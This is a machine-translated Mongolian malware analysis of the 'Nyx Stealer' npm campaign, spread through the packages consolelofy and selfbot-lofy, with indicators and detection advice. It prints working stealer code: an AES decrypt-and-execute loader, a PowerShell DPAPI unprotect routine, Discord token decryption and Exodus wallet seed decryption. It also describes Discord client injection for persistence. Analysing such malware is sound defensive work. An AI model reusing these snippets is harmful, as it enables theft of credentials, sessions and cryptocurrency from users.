TL, DR
Xygeni аюулгүй байдлын судалгааны баг хоёр хортой багцаар дамжуулан хүргэгдсэн нарийн төвөгтэй npm мэдээлэл хулгайлагч кампанит ажлыг тодорхойлсон: консоллоф болон selfbot-lofy.
Хамгийн сүүлийн хувилбар (consolelofy@1.3.0) Ажиллах үед тайлж, дараах байдлаар ажилладаг 216KB AES шифрлэгдсэн ашигтай ачааллыг суулгадаг vm.runInNewContext()Хортой логик бүрэн шифрлэгдсэн тул мөр шалгалтад тулгуурласан статик сканнерууд гүйцэтгэх хугацаа хүртэл түүний зан төлөвийг ажиглаж чадахгүй.
Кодийг нь тайлсны дараа ачаалал нь дотооддоо брэндлэгдсэн болно Никс хулгайч, зорилтууд:
- Discord баталгаажуулалтын жетонууд
- 50+ хөтчийн итгэмжлэлийн дэлгүүр
- 90+ криптовалютын түрийвчний өргөтгөлүүд
- Roblox, Instagram, Spotify, Steam, Telegram болон TikTok хичээлүүд
- Discord ширээний компьютерын үйлчлүүлэгчийн тогтвортой байдал
Хоёр багцын 20 хувилбар бүгд хортой гэж мэдээлэгдэж, батлагдсан.
Энэхүү npm Infostealer-ийн техникийн тойм
Уламжлалт суулгах үеийн хортой програм хангамжаас ялгаатай нь энэ кампанит ажил нь дараах зүйлс дээр тулгуурладаг. ажиллах хугацаа декод тайлах загвар.
Тэнд:
- Хорлонтой зүйл байхгүй
preinstallorpostinstallhooks - Суулгах үеийн сүлжээний дуудлага илт алга
- Энгийн текстийн итгэмжлэл цуглуулах логик байхгүй
Модулийг импортлох үед ашигтай ачаалал идэвхждэг. Хортой бие нь бүхэлдээ шифрлэгдсэн бөгөөд зөвхөн ажиллах үед санах ойд материалждаг.
Энэхүү загвар нь багцыг суурилуулах явцад илрүүлэхээс зайлсхийдэг.
Энэхүү npm Infostealer хэрхэн ажилладаг вэ
Nyx Stealer юу хулгайлдагийг шинжлэхээсээ өмнө бид ойлгох хэрэгтэй хэрхэн гүйцэтгэдэг вэ.
Энэхүү npm мэдээлэл хулгайлагчийн доторх хортой логик нь тууштай хэв маягийг дагадаг:
Жижиг ачаалагч нь их хэмжээний шифрлэгдсэн ашигтай ачааллыг тайлж, Node.js виртуал машины контекст дотор динамикаар ажиллуулдаг.
Энэ загварыг зориудаар хийсэн. Халдагч зөвхөн бүдгэрүүлэлтийн ард функцийг нууж байгаа юм биш, тэд хортой кодыг статик харагдах байдлаас бүрэн арилгах.
Өндөр түвшний гүйцэтгэлийн загвар
Өндөр түвшинд боодол нь дөрвөн зүйлийг хийдэг:
- SHA-256 ашиглан хатуу кодлогдсон нууц үгнээс AES түлхүүрийг гаргаж авдаг
- AES-256-CBC ашиглан том зургаан өнцөгт кодлогдсон шифрлэгдсэн текстийг тайлна
- Кодгүйжүүлсэн JavaScript-г ашиглан гүйцэтгэнэ
vm.runInNewContext() - Хүчирхэг ажиллах үеийн командуудыг ил гаргадаг хамгаалалтын орчинг бүрдүүлдэг
Гол техникийн хураангуй
| Бүрэлдэхүүн хэсэг | Тохиргоо / Утга |
|---|---|
| Алгоритм | AES-256-CBC |
| Түлхүүр гарал үүсэл | SHA-256 (нууц үг) |
| Анхааруулга Вектор (IV) | 0x00-ийн 16 байт |
| гүйцэтгэх | vm.runInNewContext(код тайлагдсан, хамгаалагдсан хязгаарлагдмал орчин) |
Чухал зүйл бол хамгаалагдсан хязгаарлагдмал орчин нь дараах байдлаар дамждаг:
requireprocessBuffer- таймерууд
- модулийн экспорт
Энэ нь тайлагдсан ачаа дараах бүрэн чадварыг хадгалж байна гэсэн үг юм:
- Үржлийн процессууд
- Файлуудыг унших болон бичих
- Сүлжээний дуудлага хийх
- Орон нутгийн програмуудыг өөрчлөх
Энэ бол хязгаарлагдмал виртуал машин биш. Энэ бол гүйцэтгэх трамплин болгон ашигладаг виртуал машин юм.
Ажиллах үеийн шифрлэлтийн хэв маяг (Гол гүйцэтгэлийн механизм)
Ачаалагч нь жижиг.
Хорлонтой бие тийм биш.
Багц доторх гүйцэтгэлийн загварыг доор харуулав:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Энэ нь яагаад хамаатай вэ?
Код тайлагдсан ачаалал:
- юу үгүй биш npm багц дотор энгийн текст хэлбэрээр оршдог
- Энгийн зүйлд үл үзэгдэх
grepэсвэл статик мөр сканнердах - Зөвхөн ажиллах үед санах ойд материаллаг болдог
- Бүрэн Node ажиллах хугацааны боломжуудтайгаар ажиллуулдаг
Энэхүү AES + VM гүйцэтгэлийн хослол нь ...-ийн хүчтэй зан үйлийн үзүүлэлт юм. npm мэдээллийн хулгайч статик шалгалтаас зайлсхийхийг оролдож байна.
Өөрөөр хэлбэл:
Хэрэв та багцын эх модыг сканнердвал хулгайлагч харагдахгүй.
Та декодчилогчийг харж байна.
Код тайлсны дараа юу болох вэ
Ажиллуулсны дараа Nyx Stealer нь зэрэгцээ өгөгдөл цуглуулах долгионыг ажиллуулдаг.
1-р давалгаа: Хөтчийн итгэмжлэлийн мэдээллийг гаргаж авах
Хортой програм хангамж:
- NuGet CDN-ээс Python ажиллах хугацааг татаж авдаг
- Криптографийн сангуудыг суулгана
- Chromium дээр суурилсан итгэмжлэлийн сангуудыг гаргаж авдаг
- DPAPI-ээр хамгаалагдсан нууцуудыг тайлдаг
Энэ нь уугуул холболтуудыг эмхэтгэхийн оронд Windows DPAPI-г шууд дуудахын тулд PowerShell-ийг ашигладаг.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Энэ хандлага:
- Эмхэтгэлийн олдворуудаас зайлсхийдэг
- Windows-ийн уугуул крипто API-г ашигладаг
- Захиргааны хэрэгсэлд нэгтгэгддэг
Энэ нь үйлдлийн системийн түвшний итгэмжлэлийн кодыг тайлах бөгөөд хусах биш юм.
2-р давалгаа: Discord Token-ийн тайлалтыг тайлах
Хулгайлагч нь протоколыг мэддэг бөгөөд Discord-ын шифрлэгдсэн токены форматыг ойлгодог.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Үйл ажиллагааны урсгал:
- Discord-оос мастер түлхүүрийг гаргаж аваарай
Local State - DPAPI-ээр дамжуулан мастер түлхүүрийг тайлах
- AES-GCM токен блокуудын кодыг тайлах
- Discord API-тай харьцуулсан токенуудыг баталгаажуулна уу
- Nitro, тэмдэг, төлбөрийн мэдээллээр баяжуулаарай
Энэ нь ерөнхий итгэмжлэлийн мэдээлэл дампинг биш. Энэ нь протоколд суурилсан сессийн хулгай юм.
3-р давалгаа: Криптовалютын түрийвчийг чиглүүлэх
npm infostealer нь дараах зүйлсийг тоолж байна:
- 90+ хөтчийн түрийвчний өргөтгөлүүд
- 27 ширээний түрийвч
- Хүйтэн түрийвчний замууд
- Exodus үрийн файлууд
Үрийн декодчилолын оролдлогын жишээ:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Хэрэв амжилттай бол түрийвчний буулт нь шууд бөгөөд эргэлт буцалтгүй болно.
Энэ нь кампанит ажлын хамгийн өндөр үнэ цэнэтэй мөнгө олох векторыг илэрхийлж байна.
Discord Desktop Injection-ээр дамжуулан тууштай байдал
Итгэмжлэл цуглуулсны дараа Nyx Steiler орон нутгийн тохиргоог өөрчлөх замаар тууштай байхыг хичээдэг. Discord хэрэглэгчийн.
Зорилт:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Үйлдлийн дараалал
Мэдээллийн хулгайч дараах алхмуудыг гүйцэтгэдэг:
- Ажиллаж буй Discord процессуудыг зогсооно
- Суулгасан Discord хувилбаруудыг (Stable, Canary, PTB) олдог.
- Дарж бичдэг
discord_desktop_core/index.js - Халдагчийн хяналттай вэбхук логикийг оруулдаг
- Discord-г дахин эхлүүлнэ
Энэ нь ирээдүйн Discord сессүүд автоматаар шинэ баталгаажуулалтын жетонуудыг алдагдуулахыг баталгаажуулдаг.
Чухал зүйл бол энэхүү тогтвортой байдал нь хуваарьт даалгавар эсвэл бүртгэлийн өөрчлөлтөөс хамаардаггүй. Энэ нь програмын түвшний кодын өөрчлөлтийг ашигладаг бөгөөд энэ нь илүү нууцлаг арга юм.
Хортой npm багцыг дараа нь устгасан ч Discord клиент эвдэрсэн хэвээр байна.
Техникийн харьцуулалт: Legitimate Selfbot болон npm Infostealer
| Бүрэлдэхүүн хэсэг | Хууль ёсны номын сан | Nyx npm Infostealer |
|---|---|---|
| Encryption | Аль нь ч биш | Бүрэн AES шифрлэгдсэн ачаалал |
| Ажиллах үеийн виртуал машин | Шаардлагагүй | vm.runInNewContext гүйцэтгэх |
| Итгэмжлэх жуух бичигт нэвтрэх | Зөвхөн Discord API | Хөтөч, түрийвч, DPAPI |
| Гадаад татаж авахууд | Үгүй | NuGet-ээр дамжуулан Python ажиллах хугацаа |
| Тэвчээртэй | Үгүй | Discord үйлчлүүлэгчийн тарилга |
| Мөнгө олох арга | Ботын автоматжуулалт | Итгэмжлэлийн дахин борлуулалт |
Шифрлэлтийн давхарга нь дангаараа энэ кампанит ажлыг ердийн нээлттэй эхийн сэрээнээс аль хэдийн тусгаарладаг.
Хууль ёсны Discord selfbot нь бүх кодын санг шифрлэх, DPAPI-д хандахын тулд PowerShell-ийг ажиллуулах, гадаад ажиллах хугацааг татаж авах эсвэл ширээний програмын дотоод тохиргоог өөрчлөх ямар ч шалтгаангүй. Эдгээр чадварууд нь Discord харилцан үйлчлэлийг автоматжуулдаг гэж мэдэгдэж буй хамаарлын дотор гарч ирэхэд архитектурын зөрүүг үл тоомсорлох боломжгүй болдог.
Судалгааны үүднээс авч үзвэл энэхүү npm мэдээлэл хулгайлагч нь олон давхаргад ул мөр үлдээдэг. Гэсэн хэдий ч хамгийн найдвартай үзүүлэлтүүд нь хатуу кодлогдсон URL эсвэл тодорхой файлын зам биш, учир нь эдгээр нь хувилбаруудын хооронд өөрчлөгдөж болно. Үүний оронд бат бөх дохионууд нь бүтцийн шинж чанартай байдаг.
Багцын түвшинд хамгийн хүчтэй улаан туг нь их хэмжээний шифрлэгдсэн ачаалал болон шууд ажилладаг ажиллах үеийн декодчилолын бүрхүүлийн хослол юм. vm.runInNewContext()Шифрлэлт нь өөрөө хортой биш боловч Discord хэрэгслийн багц дотор AES декодчилол ашиглан динамик виртуал машин ажиллуулах нь маш хэвийн бус юм.
Хостын түвшинд сэжигтэй хэв маягт гэнэтийн DPAPI тайлах үйл ажиллагаа, Node.js хамаарлын контекстээс процесс үүсэх, гуравдагч талын сангууд хэзээ ч өөрчлөх ёсгүй орон нутгийн програмын файлуудыг өөрчлөх зэрэг орно. Үүнтэй адил сүлжээний түвшинд хөгжүүлэлтийн хамаарлаас эхлүүлсэн гадагшаа чиглэсэн вэбхук маягийн харилцаа холбоо нь өөр нэг утга учиртай гажигийг илэрхийлдэг.
Өөрөөр хэлбэл, илрүүлэлтийн гадаргуу нь эвдэлэлтийн цорын ганц үзүүлэлт биш юм. Энэ нь аюулыг илчилдэг зүйл бол шифрлэлт, ажиллах хугацааны гүйцэтгэл, итгэмжлэлийн хандалт болон тогтвортой байдлын зан төлөвийн хамаарал юм.
Xygeni ашиглан илрүүлэх ба бууруулах
Энэхүү npm мэдээлэл хулгайлагчийг дараах хүн тодорхойлсон. Xygeni-ийн хортой програм хангамжийн эрт сэрэмжлүүлэг (MEW) энгийн тэмдэг тохируулахын оронд давхарласан зан үйлийн хамаарлаар дамжуулан.
Мэдэгдэж буй хортой мөрүүдийг хайхын оронд MEW нь бүрэн эх модны дагуу бүтцийн гажигийг үнэлдэг. Энэ тохиолдолд илрүүлэлт нь хэд хэдэн дохионы нэгдлээс үүссэн: модулийн оролтын цэгт суулгагдсан AES декодчилолын горим, виртуал машины контекст дотор шууд гүйцэтгэх, чадвараас зорилгод тодорхой зөрүүтэй байдал.
Чухал зүйл бол эдгээр дохионуудын аль нь ч дангаараа хорлонтой санаатай болохыг батлахгүй. Гэсэн хэдий ч хамтад нь шинжилбэл тэдгээр нь ажиллах үеийн зан төлөвийг нуух оролдлогыг илчилдэг. Энэхүү давхаргатай арга нь өндөр итгэлцэлтэй хангамжийн сүлжээний аюул заналыг тодорхойлохын зэрэгцээ хуурамч эерэг үр дүнг мэдэгдэхүйц бууруулдаг.
Цаашилбал, энэ тохиолдол нь зөвхөн суулгах хугацааны шалгалт хангалтгүй байгааг харуулж байна. Хортой логик нь амьдралын мөчлөгийн скриптүүдэд байдаггүй. Энэ нь зөвхөн модуль ачаалагдсаны дараа идэвхждэг бөгөөд санах ойд тайлагдсаны дараа л харагддаг. Тиймээс үр дүнтэй хамгаалалт нь шифрлэлтийг мэддэг дүн шинжилгээ, зан үйлийн хэв маягийг таних, суулгах үйл явдлуудаас гадна тасралтгүй хамаарлын хяналтыг шаарддаг.
Бүртгэлийг устгах нь хариу үйлдэл үзүүлдэг. Ажиллах хугацааг харгалзан үзсэн дүн шинжилгээ нь урьдчилан сэргийлэх үйлчилгээтэй.
Энэ npm Infostealer яагаад чухал вэ
Nyx Stealer нь npm дээр суурилсан хортой програм хангамжийн бүтцийн хувьслыг илэрхийлдэг.
Түүхээс харахад олон хортой багцууд нь харагдахуйц суулгах хугацааны скриптүүд эсвэл илэрхий итгэмжлэлийн мэдээллийг гадагшлуулах төгсгөлийн цэгүүдэд тулгуурладаг байсан. Үүний эсрэгээр, энэ кампанит ажил нь ачааллаа шифрлэж, гүйцэтгэлийг ажиллах хугацаанд хойшлуулж, хууль ёсны үйлдлийн системийн API-уудыг ашиглаж, итгэмжлэгдсэн програмууд дотор тогтвортой байдлыг тогтоодог.
Үүний үр дүнд халдагч npm дэд бүтцийг өөрөө ашиглах шаардлагагүй. Үүний оронд хамаарлын суурилуулалт нь итгэлцлийг илэрхийлдэг тул халдлага амжилттай болдог. Хөгжүүлэгчид номын санг импортлох нь аюулгүй ажиллагаа гэж үздэг, ялангуяа энэ нь өөрийгөө алдартай хэрэгслийн итгэмээргүй салаа хэлбэрээр харуулсан тохиолдолд.
Экосистемүүд өсөн нэмэгдэж, сэрээнүүд олширсоор байгаа тул энэхүү далд итгэлцлийн хил хязгаар нь улам бүр сонирхол татахуйц халдлагын гадаргуу болж байна. Тиймээс орчин үеийн npm мэдээлэл хулгайлагчдаас хамгаалахын тулд статик мөр хайхаас илүү архитектурын хэв маягийг таних шаардлагатай байна.
Эцсийн эцэст энэхүү кампанит ажил нь чухал сургамжийг бататгаж байна software supply chain securityХамгийн аюултай аюул занал нь анх харахад хортой мэт санагдах аюул занал биш, харин ажиллах хугацаа нь тэдний жинхэнэ зан авирыг илчлэх хүртэл бүтцийн хувьд хууль ёсны мэт санагдах аюул занал юм.




